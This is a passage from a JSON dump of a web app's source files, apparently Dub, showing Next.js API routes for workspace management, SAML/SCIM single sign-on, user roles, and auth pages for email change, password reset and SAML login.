    "content": "import { allowedHostnamesCache } from \"@/lib/analytics/allowed-hostnames-cache\";\nimport { DubApiError } from \"@/lib/api/errors\";\nimport { parseRequestBody } from \"@/lib/api/utils\";\nimport { validateAllowedHostnames } from \"@/lib/api/validate-allowed-hostnames\";\nimport { deleteWorkspace } from \"@/lib/api/workspaces/delete-workspace\";\nimport { prefixWorkspaceId } from \"@/lib/api/workspaces/workspace-id\";\nimport { withWorkspace } from \"@/lib/auth\";\nimport { getFeatureFlags } from \"@/lib/edge-config\";\nimport { jackson } from \"@/lib/jackson\";\nimport { storage } from \"@/lib/storage\";\nimport { redis } from \"@/lib/upstash\";\nimport {\n  createWorkspaceSchema,\n  WorkspaceSchema,\n  WorkspaceSchemaExtended,\n} from \"@/lib/zod/schemas/workspaces\";\nimport { prisma } from \"@dub/prisma\";\nimport { nanoid, R2_URL } from \"@dub/utils\";\nimport { waitUntil } from \"@vercel/functions\";\nimport { NextResponse } from \"next/server\";\nimport * as z from \"zod/v4\";\n\nconst updateWorkspaceSchema = createWorkspaceSchema\n  .extend({\n    allowedHostnames: z.array(z.string()).optional(),\n    publishableKey: z\n      .union([\n        z\n          .string()\n          .regex(\n            /^dub_pk_[A-Za-z0-9_-]{16,64}$/,\n            \"Invalid publishable key format\",\n          ),\n        z.null(),\n      ])\n      .optional(),\n    enforceSAML: z.boolean().nullish(),\n  })\n  .partial();\n\n// GET /api/workspaces/[idOrSlug] – get a specific workspace by id or slug\nexport const GET = withWorkspace(\n  async ({ workspace, headers }) => {\n    const domains = await prisma.domain.findMany({\n      where: {\n        projectId: workspace.id,\n      },\n      select: {\n        id: true,\n        slug: true,\n        primary: true,\n        verified: true,\n        linkRetentionDays: true,\n      },\n      take: 100,\n    });\n\n    const flags = await getFeatureFlags({\n      workspaceId: workspace.id,\n    });\n\n    return NextResponse.json(\n      {\n        ...WorkspaceSchemaExtended.parse({\n          ...workspace,\n          id: prefixWorkspaceId(workspace.id),\n          domains,\n          flags,\n        }),\n      },\n      { headers },\n    );\n  },\n  {\n    requiredPermissions: [\"workspaces.read\"],\n  },\n);\n\n// PATCH /api/workspaces/[idOrSlug] – update a specific workspace by id or slug\nexport const PATCH = withWorkspace(\n  async ({ req, workspace }) => {\n    const {\n      name,\n      slug,\n      logo,\n      conversionEnabled,\n      allowedHostnames,\n      publishableKey,\n      enforceSAML,\n    } = await updateWorkspaceSchema.parseAsync(await parseRequestBody(req));\n\n    if ([\"free\", \"pro\"].includes(workspace.plan) && conversionEnabled) {\n      throw new DubApiError({\n        code: \"forbidden\",\n        message: \"Conversion tracking is not available on free or pro plans.\",\n      });\n    }\n\n    const validHostnames = allowedHostnames\n      ? validateAllowedHostnames(allowedHostnames)\n      : undefined;\n\n    const logoUploaded = logo\n      ? await storage.upload({\n          key: `workspaces/${prefixWorkspaceId(workspace.id)}/logo_${nanoid(7)}`,\n          body: logo,\n        })\n      : null;\n\n    if (enforceSAML) {\n      if (workspace.plan !== \"enterprise\") {\n        throw new DubApiError({\n          code: \"forbidden\",\n          message: \"SAML SSO is only available on enterprise plans.\",\n        });\n      }\n\n      const { apiController } = await jackson();\n\n      const connections = await apiController.getConnections({\n        tenant: workspace.id,\n        product: \"Dub\",\n      });\n\n      if (connections.length === 0) {\n        throw new DubApiError({\n          code: \"forbidden\",\n          message: \"SAML SSO is not configured for this workspace.\",\n        });\n      }\n    }\n\n    try {\n      const updatedWorkspace = await prisma.project.update({\n        where: {\n          slug: workspace.slug,\n        },\n        data: {\n          ...(name && { name }),\n          ...(slug && { slug }),\n          ...(logoUploaded && { logo: logoUploaded.url }),\n          ...(conversionEnabled !== undefined && { conversionEnabled }),\n          ...(validHostnames !== undefined && {\n            allowedHostnames: validHostnames,\n          }),\n          ...(publishableKey !== undefined && { publishableKey }),\n          ...(enforceSAML !== undefined && {\n            ssoEnforcedAt: enforceSAML ? new Date() : null,\n          }),\n        },\n        include: {\n          domains: {\n            select: {\n              slug: true,\n              primary: true,\n              verified: true,\n            },\n            take: 100,\n          },\n          users: true,\n        },\n      });\n\n      if (updatedWorkspace.slug !== workspace.slug) {\n        await Promise.allSettled([\n          prisma.user.updateMany({\n            where: {\n              defaultWorkspace: workspace.slug,\n            },\n            data: {\n              defaultWorkspace: updatedWorkspace.slug,\n            },\n          }),\n          // refresh the workspace product cache for both workspaces\n          redis.del(\n            `workspace:product:${updatedWorkspace.slug}`,\n            `workspace:product:${workspace.slug}`,\n          ),\n        ]);\n      }\n\n      waitUntil(\n        (async () => {\n          if (logoUploaded && workspace.logo) {\n            await storage.delete({\n              key: workspace.logo.replace(`${R2_URL}/`, \"\"),\n            });\n          }\n\n          // Sync the allowedHostnames cache for workspace domains\n          const current = JSON.stringify(workspace.allowedHostnames);\n          const next = JSON.stringify(updatedWorkspace.allowedHostnames);\n          const domains = updatedWorkspace.domains.map(({ slug }) => slug);\n\n          if (current !== next) {\n            if (\n              Array.isArray(updatedWorkspace.allowedHostnames) &&\n              updatedWorkspace.allowedHostnames.length > 0\n            ) {\n              allowedHostnamesCache.mset({\n                allowedHostnames: next,\n                domains,\n              });\n            } else {\n              allowedHostnamesCache.deleteMany({\n                domains,\n              });\n            }\n          }\n        })(),\n      );\n\n      return NextResponse.json(\n        WorkspaceSchema.parse({\n          ...updatedWorkspace,\n          id: prefixWorkspaceId(updatedWorkspace.id),\n          flags: await getFeatureFlags({\n            workspaceId: updatedWorkspace.id,\n          }),\n        }),\n      );\n    } catch (error) {\n      if (error.code === \"P2002\") {\n        throw new DubApiError({\n          code: \"conflict\",\n          message: `The slug \"${slug}\" is already in use.`,\n        });\n      } else {\n        throw new DubApiError({\n          code: \"internal_server_error\",\n          message: error.message,\n        });\n      }\n    }\n  },\n  {\n    requiredPermissions: [\"workspaces.write\"],\n  },\n);\n\nexport const PUT = PATCH;\n\n// DELETE /api/workspaces/[idOrSlug] – delete a specific project\nexport const DELETE = withWorkspace(\n  async ({ workspace }) => {\n    if (workspace.defaultProgramId) {\n      throw new DubApiError({\n        code: \"bad_request\",\n        message:\n          \"You cannot delete a workspace with an active partner program.\",\n      });\n    }\n\n    await deleteWorkspace(workspace);\n\n    return NextResponse.json(workspace);\n  },\n  {\n    requiredPermissions: [\"workspaces.write\"],\n  },\n);\n"
  },
  {
    "path": "apps/web/app/api/workspaces/[idOrSlug]/saml/route.ts",
    "content": "import { DubApiError } from \"@/lib/api/errors\";\nimport { withWorkspace } from \"@/lib/auth\";\nimport { isGenericEmail } from \"@/lib/is-generic-email\";\nimport { jackson, samlAudience } from \"@/lib/jackson\";\nimport { prisma } from \"@dub/prisma\";\nimport { APP_DOMAIN_WITH_NGROK } from \"@dub/utils\";\nimport { NextResponse } from \"next/server\";\nimport * as z from \"zod/v4\";\n\nconst createSAMLConnectionSchema = z\n  .object({\n    metadataUrl: z.url(),\n    encodedRawMetadata: z.string(),\n  })\n  .partial()\n  .refine(\n    ({ metadataUrl, encodedRawMetadata }) =>\n      metadataUrl != undefined || encodedRawMetadata != undefined,\n    {\n      message: \"metadataUrl or encodedRawMetadata is required\",\n    },\n  );\n\nconst deleteSAMLConnectionSchema = z.object({\n  clientID: z.string().min(1),\n  clientSecret: z.string().min(1),\n});\n\n// GET /api/workspaces/[idOrSlug]/saml – get SAML connections for a specific workspace\nexport const GET = withWorkspace(\n  async ({ workspace }) => {\n    const { apiController } = await jackson();\n\n    const connections = await apiController.getConnections({\n      tenant: workspace.id,\n      product: \"Dub\",\n    });\n\n    const response = {\n      connections,\n      issuer: samlAudience,\n      acs:\n        process.env.NODE_ENV === \"production\"\n          ? \"https://api.dub.co/auth/saml/callback\"\n          : `${APP_DOMAIN_WITH_NGROK}/api/auth/saml/callback`,\n    };\n\n    return NextResponse.json(response);\n  },\n  {\n    requiredPermissions: [\"workspaces.read\"],\n  },\n);\n\n// POST /api/workspaces/[idOrSlug]/saml – create a new SAML connection\nexport const POST = withWorkspace(\n  async ({ req, workspace, session }) => {\n    const { metadataUrl, encodedRawMetadata } =\n      createSAMLConnectionSchema.parse(await req.json());\n\n    const ssoEmailDomain = session.user.email.split(\"@\")[1].toLocaleLowerCase();\n\n    if (isGenericEmail(ssoEmailDomain)) {\n      throw new DubApiError({\n        code: \"bad_request\",\n        message:\n          \"SAML configuration requires you to be logged in with your organization’s work email.\",\n      });\n    }\n\n    const { apiController } = await jackson();\n\n    const data = await apiController.createSAMLConnection({\n      encodedRawMetadata: encodedRawMetadata!,\n      metadataUrl: metadataUrl!,\n      defaultRedirectUrl: `${process.env.NEXTAUTH_URL}/auth/saml`,\n      redirectUrl: process.env.NEXTAUTH_URL as string,\n      tenant: workspace.id,\n      product: \"Dub\",\n    });\n\n    await prisma.project.update({\n      where: {\n        id: workspace.id,\n      },\n      data: {\n        ssoEmailDomain,\n      },\n    });\n\n    return NextResponse.json(data);\n  },\n  {\n    requiredPermissions: [\"workspaces.write\"],\n    requiredPlan: [\"enterprise\"],\n  },\n);\n\n// DELETE /api/workspaces/[idOrSlug]/saml – delete all SAML connections\nexport const DELETE = withWorkspace(\n  async ({ searchParams, workspace }) => {\n    const { clientID, clientSecret } =\n      deleteSAMLConnectionSchema.parse(searchParams);\n\n    const { apiController } = await jackson();\n\n    await apiController.deleteConnections({\n      clientID,\n      clientSecret,\n    });\n\n    await prisma.project.update({\n      where: {\n        id: workspace.id,\n      },\n      data: {\n        ssoEmailDomain: null,\n        ssoEnforcedAt: null,\n      },\n    });\n\n    return NextResponse.json({\n      response: \"Successfully removed SAML connection\",\n    });\n  },\n  {\n    requiredPermissions: [\"workspaces.write\"],\n  },\n);\n"
  },
  {
    "path": "apps/web/app/api/workspaces/[idOrSlug]/scim/route.ts",
    "content": "import { DubApiError } from \"@/lib/api/errors\";\nimport { withWorkspace } from \"@/lib/auth\";\nimport { jackson } from \"@/lib/jackson\";\nimport { NextResponse } from \"next/server\";\nimport * as z from \"zod/v4\";\n\nconst createDirectorySchema = z.object({\n  provider: z.enum([\"okta-scim-v2\", \"azure-scim-v2\", \"google\"]).optional(),\n  currentDirectoryId: z.string().min(1).optional(),\n});\n\nconst deleteDirectorySchema = z.object({\n  directoryId: z.string().min(1),\n});\n\n// GET /api/workspaces/[idOrSlug]/scim – get all SCIM directories\nexport const GET = withWorkspace(\n  async ({ workspace }) => {\n    const { directorySyncController } = await jackson();\n\n    const { data, error } =\n      await directorySyncController.directories.getByTenantAndProduct(\n        workspace.id,\n        \"Dub\",\n      );\n    if (error) {\n      throw new DubApiError({\n        code: \"internal_server_error\",\n        message: error.message,\n      });\n    }\n\n    return NextResponse.json({\n      directories: data,\n    });\n  },\n  {\n    requiredPermissions: [\"workspaces.read\"],\n  },\n);\n\n// POST /api/workspaces/[idOrSlug]/scim – create a new SCIM directory\nexport const POST = withWorkspace(\n  async ({ req, workspace }) => {\n    const { provider = \"okta-scim-v2\", currentDirectoryId } =\n      createDirectorySchema.parse(await req.json());\n\n    const { directorySyncController } = await jackson();\n\n    const [data, _] = await Promise.all([\n      directorySyncController.directories.create({\n        name: \"Dub SCIM Directory\",\n        tenant: workspace.id,\n        product: \"Dub\",\n        type: provider,\n      }),\n      currentDirectoryId &&\n        directorySyncController.directories.delete(currentDirectoryId),\n    ]);\n\n    return NextResponse.json(data);\n  },\n  {\n    requiredPermissions: [\"workspaces.write\"],\n    requiredPlan: [\"enterprise\"],\n  },\n);\n\n// DELETE /api/workspaces/[idOrSlug]/scim – delete a SCIM directory\nexport const DELETE = withWorkspace(\n  async ({ searchParams }) => {\n    const { directoryId } = deleteDirectorySchema.parse(searchParams);\n\n    const { directorySyncController } = await jackson();\n\n    const { error, data } =\n      await directorySyncController.directories.delete(directoryId);\n\n    if (error) {\n      throw new DubApiError({\n        code: \"bad_request\",\n        message: error.message,\n      });\n    }\n\n    return NextResponse.json(data);\n  },\n  {\n    requiredPermissions: [\"workspaces.write\"],\n  },\n);\n"
  },
  {
    "path": "apps/web/app/api/workspaces/[idOrSlug]/stats/[endpoint]/route.ts",
    "content": "export * from \"../../../../analytics/route\";\n"
  },
  {
    "path": "apps/web/app/api/workspaces/[idOrSlug]/upload-url/route.ts",
    "content": "import { withWorkspace } from \"@/lib/auth\";\nimport { storage } from \"@/lib/storage\";\nimport { nanoid, R2_URL } from \"@dub/utils\";\nimport { NextResponse } from \"next/server\";\nimport * as z from \"zod/v4\";\n\nconst schema = z.object({\n  folder: z.enum([\"integration-screenshots\", \"program-logos\"]),\n});\n\n// POST /api/workspaces/[idOrSlug]/upload-url – get a signed URL to upload a file to a workspace\nexport const POST = withWorkspace(\n  async ({ req }) => {\n    const { folder } = schema.parse(await req.json());\n\n    const key = `${folder}/${nanoid(16)}`;\n    const signedUrl = await storage.getSignedUploadUrl({\n      key,\n    });\n\n    return NextResponse.json({\n      key,\n      signedUrl,\n      destinationUrl: `${R2_URL}/${key}`,\n    });\n  },\n  {\n    requiredRoles: [\"owner\", \"member\"],\n  },\n);\n"
  },
  {
    "path": "apps/web/app/api/workspaces/[idOrSlug]/users/route.ts",
    "content": "import { DubApiError } from \"@/lib/api/errors\";\nimport { throwIfNoAccess } from \"@/lib/api/tokens/throw-if-no-access\";\nimport { assertRoleAllowedForPlan } from \"@/lib/api/workspaces/assert-role-plan\";\nimport { withWorkspace } from \"@/lib/auth\";\nimport { generateRandomName } from \"@/lib/names\";\nimport {\n  getWorkspaceUsersQuerySchema,\n  workspaceUserSchema,\n} from \"@/lib/zod/schemas/workspaces\";\nimport { prisma } from \"@dub/prisma\";\nimport { WorkspaceRole } from \"@dub/prisma/client\";\nimport { NextResponse } from \"next/server\";\nimport * as z from \"zod/v4\";\n\n// GET /api/workspaces/[idOrSlug]/users – get users for a specific workspace\nexport const GET = withWorkspace(\n  async ({ workspace, searchParams }) => {\n    const { search, role } = getWorkspaceUsersQuerySchema.parse(searchParams);\n\n    const users = await prisma.projectUsers.findMany({\n      where: {\n        projectId: workspace.id,\n        role,\n        ...(search && {\n          user: {\n            OR: [\n              { name: { contains: search } },\n              { email: { contains: search } },\n            ],\n          },\n        }),\n      },\n      include: {\n        user: true,\n      },\n    });\n\n    const parsedUsers = users.map(({ user, ...rest }) =>\n      workspaceUserSchema.parse({\n        ...rest,\n        ...user,\n        name: user.name || user.email || generateRandomName(),\n        createdAt: rest.createdAt, // preserve the createdAt field from ProjectUsers\n      }),\n    );\n\n    return NextResponse.json(parsedUsers);\n  },\n  {\n    requiredPermissions: [\"workspaces.read\"],\n  },\n);\n\nconst updateRoleSchema = z.object({\n  userId: z.string().min(1),\n  role: z.enum(WorkspaceRole),\n});\n\n// PATCH /api/workspaces/[idOrSlug]/users – update a user's role for a specific workspace\nexport const PATCH = withWorkspace(\n  async ({ req, workspace }) => {\n    const { userId, role } = updateRoleSchema.parse(await req.json());\n\n    assertRoleAllowedForPlan({\n      role,\n      plan: workspace.plan,\n    });\n\n    const response = await prisma.projectUsers.update({\n      where: {\n        userId_projectId: {\n          projectId: workspace.id,\n          userId,\n        },\n        user: {\n          isMachine: false,\n        },\n      },\n      data: {\n        role,\n      },\n    });\n    return NextResponse.json(response);\n  },\n  {\n    requiredPermissions: [\"workspaces.write\"],\n  },\n);\n\nconst removeUserSchema = z.object({\n  userId: z.string().min(1),\n});\n\n// DELETE /api/workspaces/[idOrSlug]/users – remove a user from a workspace or leave a workspace\nexport const DELETE = withWorkspace(\n  async ({ searchParams, workspace, session, permissions }) => {\n    const { userId } = removeUserSchema.parse(searchParams);\n\n    if (userId !== session.user.id) {\n      throwIfNoAccess({\n        permissions,\n        requiredPermissions: [\"workspaces.write\"],\n        workspaceId: workspace.id,\n      });\n    }\n\n    const [projectUser, totalOwners] = await Promise.all([\n      prisma.projectUsers.findUnique({\n        where: {\n          userId_projectId: {\n            projectId: workspace.id,\n            userId,\n          },\n        },\n        select: {\n          role: true,\n          user: {\n            select: {\n              isMachine: true,\n              defaultWorkspace: true,\n            },\n          },\n        },\n      }),\n\n      prisma.projectUsers.count({\n        where: {\n          projectId: workspace.id,\n          role: \"owner\",\n        },\n      }),\n    ]);\n\n    if (!projectUser) {\n      throw new DubApiError({\n        code: \"not_found\",\n        message: \"User not found.\",\n      });\n    }\n\n    // If there is only one owner and the user is an owner and the user is trying to remove themselves\n    if (\n      totalOwners === 1 &&\n      projectUser.role === \"owner\" &&\n      userId === session.user.id\n    ) {\n      throw new DubApiError({\n        code: \"bad_request\",\n        message:\n          \"Cannot remove owner from workspace. Please transfer ownership to another user first.\",\n      });\n    }\n\n    const [response] = await Promise.allSettled([\n      // Remove the user from the workspace\n      prisma.projectUsers.delete({\n        where: {\n          userId_projectId: {\n            projectId: workspace.id,\n            userId,\n          },\n        },\n      }),\n\n      // Remove tokens associated with the user from the workspace\n      prisma.restrictedToken.deleteMany({\n        where: {\n          projectId: workspace.id,\n          userId,\n        },\n      }),\n\n      // Remove the default workspace for the user if they are leaving the workspace\n      workspace.slug === projectUser.user.defaultWorkspace &&\n        prisma.user.update({\n          where: {\n            id: userId,\n          },\n          data: {\n            defaultWorkspace: null,\n          },\n        }),\n    ]);\n\n    // delete the user if it's a machine user\n    if (projectUser.user.isMachine) {\n      await prisma.user.delete({\n        where: {\n          id: userId,\n        },\n      });\n    }\n\n    return NextResponse.json(response);\n  },\n);\n"
  },
  {
    "path": "apps/web/app/api/workspaces/route.ts",
    "content": "import { DubApiError } from \"@/lib/api/errors\";\nimport { generateRandomString } from \"@/lib/api/utils/generate-random-string\";\nimport { createWorkspaceId } from \"@/lib/api/workspaces/create-workspace-id\";\nimport { prefixWorkspaceId } from \"@/lib/api/workspaces/workspace-id\";\nimport { withSession } from \"@/lib/auth\";\nimport { checkIfUserExists } from \"@/lib/planetscale\";\nimport { storage } from \"@/lib/storage\";\nimport {\n  createWorkspaceSchema,\n  WorkspaceSchema,\n} from \"@/lib/zod/schemas/workspaces\";\nimport { prisma } from \"@dub/prisma\";\nimport { Prisma } from \"@dub/prisma/client\";\nimport { FREE_WORKSPACES_LIMIT, nanoid, R2_URL } from \"@dub/utils\";\nimport { waitUntil } from \"@vercel/functions\";\nimport { NextResponse } from \"next/server\";\n\n// GET /api/workspaces - get all projects for the current user\nexport const GET = withSession(async ({ session }) => {\n  const workspaces = await prisma.project.findMany({\n    where: {\n      users: {\n        some: {\n          userId: session.user.id,\n        },\n      },\n    },\n    include: {\n      users: {\n        where: {\n          userId: session.user.id,\n        },\n        select: {\n          role: true,\n          defaultFolderId: true,\n        },\n      },\n      domains: {\n        select: {\n          slug: true,\n          primary: true,\n          verified: true,\n        },\n      },\n    },\n    orderBy: {\n      createdAt: \"asc\",\n    },\n  });\n\n  return NextResponse.json(\n    workspaces.map((project) =>\n      WorkspaceSchema.parse({\n        ...project,\n        id: prefixWorkspaceId(project.id),\n      }),\n    ),\n  );\n});\n\nexport const POST = withSession(async ({ req, session }) => {\n  const { name, slug, logo } = await createWorkspaceSchema.parseAsync(\n    await req.json(),\n  );\n\n  const userExists = await checkIfUserExists(session.user.id);\n\n  if (!userExists) {\n    throw new DubApiError({\n      code: \"not_found\",\n      message: \"Session expired. Please log in again.\",\n    });\n  }\n\n  try {\n    let uploadedImageUrl: string | undefined;\n\n    const workspace = await prisma.$transaction(\n      async (tx) => {\n        const freeWorkspaces = await tx.project.count({\n          where: {\n            plan: \"free\",\n            users: {\n              some: {\n                userId: session.user.id,\n                role: \"owner\",\n              },\n            },\n          },\n        });\n\n        if (freeWorkspaces >= FREE_WORKSPACES_LIMIT) {\n          throw new DubApiError({\n            code: \"exceeded_limit\",\n            message: `You can only create up to ${FREE_WORKSPACES_LIMIT} free workspaces. Additional workspaces require a paid plan.`,\n          });\n        }\n\n        const workspaceId = createWorkspaceId();\n        uploadedImageUrl = logo\n          ? `${R2_URL}/workspaces/${workspaceId}/logo_${nanoid(7)}`\n          : undefined;\n\n        return await tx.project.create({\n          data: {\n            id: workspaceId,\n            name,\n            slug,\n            logo: uploadedImageUrl,\n            users: {\n              create: {\n                userId: session.user.id,\n                role: \"owner\",\n                notificationPreference: {\n                  create: {},\n                },\n              },\n            },\n            billingCycleStart: new Date().getDate(),\n            invoicePrefix: generateRandomString(8),\n            inviteCode: nanoid(24),\n            defaultDomains: {\n              create: {}, // by default, we give users all the default domains when they create a project\n            },\n          },\n          include: {\n            users: {\n              where: {\n                userId: session.user.id,\n              },\n              select: {\n                role: true,\n                defaultFolderId: true,\n              },\n            },\n            domains: {\n              select: {\n                slug: true,\n                primary: true,\n              },\n            },\n          },\n        });\n      },\n      {\n        isolationLevel: Prisma.TransactionIsolationLevel.Serializable,\n        maxWait: 5000,\n        timeout: 5000,\n      },\n    );\n\n    waitUntil(\n      Promise.allSettled([\n        // if the user has no default workspace, set the new workspace as the default\n        session.user[\"defaultWorkspace\"] === null &&\n          prisma.user.update({\n            where: {\n              id: session.user.id,\n            },\n            data: {\n              defaultWorkspace: workspace.slug,\n            },\n          }),\n\n        // Upload logo to R2 if uploaded\n        logo &&\n          uploadedImageUrl &&\n          storage.upload({\n            key: uploadedImageUrl.replace(`${R2_URL}/`, \"\"),\n            body: logo,\n          }),\n      ]),\n    );\n\n    return NextResponse.json(\n      WorkspaceSchema.parse({\n        ...workspace,\n        id: prefixWorkspaceId(workspace.id),\n      }),\n    );\n  } catch (error) {\n    if (\n      error instanceof Prisma.PrismaClientKnownRequestError &&\n      error.code === \"P2002\"\n    ) {\n      throw new DubApiError({\n        code: \"conflict\",\n        message: `The slug \"${slug}\" is already in use.`,\n      });\n    }\n\n    if (error instanceof DubApiError) {\n      throw error;\n    }\n\n    throw new DubApiError({\n      code: \"internal_server_error\",\n      message: \"Error creating workspace. Please try again later.\",\n    });\n  }\n});\n"
  },
  {
    "path": "apps/web/app/app.dub.co/(auth)/auth/confirm-email-change/[token]/page-client.tsx",
    "content": "\"use client\";\n\nimport { EmptyState, LoadingSpinner } from \"@dub/ui\";\nimport { useSession } from \"next-auth/react\";\nimport { useRouter } from \"next/navigation\";\nimport { useEffect, useRef } from \"react\";\nimport { toast } from \"sonner\";\n\nexport default async function ConfirmEmailChangePageClient({\n  isPartnerProfile,\n}: {\n  isPartnerProfile: boolean;\n}) {\n  const router = useRouter();\n  const { update, status } = useSession();\n  const hasUpdatedSession = useRef(false);\n\n  useEffect(() => {\n    if (status !== \"authenticated\" || hasUpdatedSession.current) {\n      return;\n    }\n\n    async function updateSession() {\n      hasUpdatedSession.current = true;\n      await update();\n      toast.success(\"Successfully updated your email!\");\n      router.replace(isPartnerProfile ? \"/profile\" : \"/account/settings\");\n    }\n\n    updateSession();\n  }, [status, update]);\n\n  return (\n    <EmptyState\n      icon={LoadingSpinner}\n      title=\"Verifying Email Change\"\n      description=\"Verifying your email change request. This might take a few seconds...\"\n    />\n  );\n}\n"
  },
  {
    "path": "apps/web/app/app.dub.co/(auth)/auth/confirm-email-change/[token]/page.tsx",
    "content": "import { getSession, hashToken } from \"@/lib/auth\";\nimport { redis } from \"@/lib/upstash\";\nimport EmptyState from \"@/ui/shared/empty-state\";\nimport { sendEmail } from \"@dub/email\";\nimport EmailUpdated from \"@dub/email/templates/email-updated\";\nimport { prisma } from \"@dub/prisma\";\nimport { VerificationToken } from \"@dub/prisma/client\";\nimport { InputPassword, LoadingSpinner } from \"@dub/ui\";\nimport { waitUntil } from \"@vercel/functions\";\nimport { redirect } from \"next/navigation\";\nimport { Suspense } from \"react\";\nimport ConfirmEmailChangePageClient from \"./page-client\";\n\ninterface PageProps {\n  params: Promise<{ token: string }>;\n  searchParams: Promise<{ cancel?: string }>;\n}\n\nexport default async function ConfirmEmailChangePage(props: PageProps) {\n  return (\n    <div className=\"flex flex-col items-center justify-center gap-6 text-center\">\n      <Suspense\n        fallback={\n          <EmptyState\n            icon={LoadingSpinner}\n            title=\"Verifying Email Change\"\n            description=\"Verifying your email change request. This might take a few seconds...\"\n          />\n        }\n      >\n        <VerifyEmailChange {...props} />\n      </Suspense>\n    </div>\n  );\n}\n\nconst VerifyEmailChange = async ({ params, searchParams }: PageProps) => {\n  const { token } = await params;\n\n  const tokenFound = await prisma.verificationToken.findUnique({\n    where: {\n      token: await hashToken(token, { secret: true }),\n    },\n  });\n\n  if (!tokenFound || tokenFound.expires < new Date()) {\n    return (\n      <EmptyState\n        icon={InputPassword}\n        title=\"Invalid Token\"\n        description=\"This token is invalid or expired. Please request a new one.\"\n      />\n    );\n  }\n\n  // Cancel the email change request (?cancel=true)\n  const { cancel } = await searchParams;\n\n  if (cancel && cancel === \"true\") {\n    await deleteRequest(tokenFound);\n\n    return (\n      <EmptyState\n        icon={InputPassword}\n        title=\"Email Change Request Canceled\"\n        description=\"Your email change request has been canceled. No changes have been made to your account. You can close this page.\"\n      />\n    );\n  }\n\n  // Process the email change request\n  const session = await getSession();\n\n  if (!session) {\n    redirect(`/login?next=/auth/confirm-email-change/${token}`);\n  }\n\n  const { id: userId, defaultPartnerId: partnerId } = session.user;\n\n  const identifier = tokenFound.identifier.startsWith(\"pn_\")\n    ? partnerId\n    : userId;\n\n  const data = await redis.get<{\n    email: string;\n    newEmail: string;\n    isPartnerProfile?: boolean;\n  }>(`email-change-request:user:${identifier}`);\n\n  if (!data) {\n    return (\n      <EmptyState\n        icon={InputPassword}\n        title=\"Invalid Token\"\n        description=\"This token is invalid. Please request a new one.\"\n      />\n    );\n  }\n\n  // Update the partner profile email\n  if (data.isPartnerProfile) {\n    if (!partnerId) {\n      return (\n        <EmptyState\n          icon={InputPassword}\n          title=\"No Partner Profile Found\"\n          description=\"We couldn’t find a partner profile for your account. Please make sure you’re logged in with the correct account at https://partners.dub.co\"\n        />\n      );\n    }\n\n    await prisma.partner.update({\n      where: {\n        id: partnerId,\n      },\n      data: {\n        email: data.newEmail,\n      },\n    });\n  }\n\n  // Update the user email\n  else {\n    await prisma.user.update({\n      where: {\n        id: userId,\n      },\n      data: {\n        email: data.newEmail,\n      },\n    });\n  }\n\n  waitUntil(\n    Promise.allSettled([\n      deleteRequest(tokenFound),\n\n      sendEmail({\n        subject: \"Your email address has been changed\",\n        to: data.email,\n        react: EmailUpdated({\n          oldEmail: data.email,\n          newEmail: data.newEmail,\n          isPartnerProfile: !!data.isPartnerProfile,\n        }),\n      }),\n    ]),\n  );\n\n  return (\n    <ConfirmEmailChangePageClient isPartnerProfile={!!data.isPartnerProfile} />\n  );\n};\n\nconst deleteRequest = async (tokenFound: VerificationToken) => {\n  await Promise.allSettled([\n    prisma.verificationToken.delete({\n      where: {\n        token: tokenFound.token,\n      },\n    }),\n\n    redis.del(`email-change-request:user:${tokenFound.identifier}`),\n  ]);\n};\n"
  },
  {
    "path": "apps/web/app/app.dub.co/(auth)/auth/reset-password/[token]/page.tsx",
    "content": "import { ResetPasswordForm } from \"@/ui/auth/reset-password-form\";\nimport { AuthLayout } from \"@/ui/layout/auth-layout\";\nimport EmptyState from \"@/ui/shared/empty-state\";\nimport { prisma } from \"@dub/prisma\";\nimport { InputPassword } from \"@dub/ui\";\n\ninterface Props {\n  params: Promise<{\n    token: string;\n  }>;\n}\n\nexport default async function ResetPasswordPage(props: Props) {\n  const params = await props.params;\n\n  const { token } = params;\n\n  const validToken = await isValidToken(token);\n\n  if (!validToken) {\n    return (\n      <EmptyState\n        icon={InputPassword}\n        title=\"Invalid Reset Token\"\n        description=\"The password reset token is invalid or expired. Please request a new one.\"\n      />\n    );\n  }\n\n  return (\n    <AuthLayout>\n      <div className=\"w-full max-w-sm\">\n        <h3 className=\"text-center text-xl font-semibold\">\n          Reset your password\n        </h3>\n        <div className=\"mt-8\">\n          <ResetPasswordForm />\n        </div>\n      </div>\n    </AuthLayout>\n  );\n}\n\nconst isValidToken = async (token: string) => {\n  const resetToken = await prisma.passwordResetToken.findUnique({\n    where: {\n      token,\n      expires: {\n        gte: new Date(),\n      },\n    },\n    select: {\n      token: true,\n    },\n  });\n\n  return !!resetToken;\n};\n"
  },
  {
    "path": "apps/web/app/app.dub.co/(auth)/auth/saml/form.tsx",
    "content": "\"use client\";\n\nimport { signIn } from \"next-auth/react\";\nimport { useSearchParams } from \"next/navigation\";\nimport { useEffect } from \"react\";\n\n// To handle the IdP initiated login flow callback\nexport default function SAMLForm() {\n  const searchParams = useSearchParams();\n\n  useEffect(() => {\n    const code = searchParams?.get(\"code\");\n\n    signIn(\"saml-idp\", {\n      callbackUrl: \"/\",\n      code,\n    });\n  }, []);\n\n  return null;\n}\n"
  },
  {
    "path": "apps/web/app/app.dub.co/(auth)/auth/saml/page.tsx",
    "content": "import EmptyState from \"@/ui/shared/empty-state\";\nimport { LoadingSpinner } from \"@dub/ui\";\nimport { APP_NAME } from \"@dub/utils\";\nimport { Suspense } from \"react\";\nimport SAMLIDPForm from \"./form\";\n\nexport default function SAMLPage() {\n  return (\n    <>\n      <EmptyState\n        icon={LoadingSpinner}\n        title=\"SAML Authentication\"\n        description={`${APP_NAME} is verifying your identity via SAML. This might take a few seconds...`}\n      />\n      <Suspense>\n        <SAMLIDPForm />\n      </Suspense>\n    </>\n  );\n}\n"
  },
  {
    "path": "apps/web/app/app.dub.co/(auth)/customer-logos.tsx",
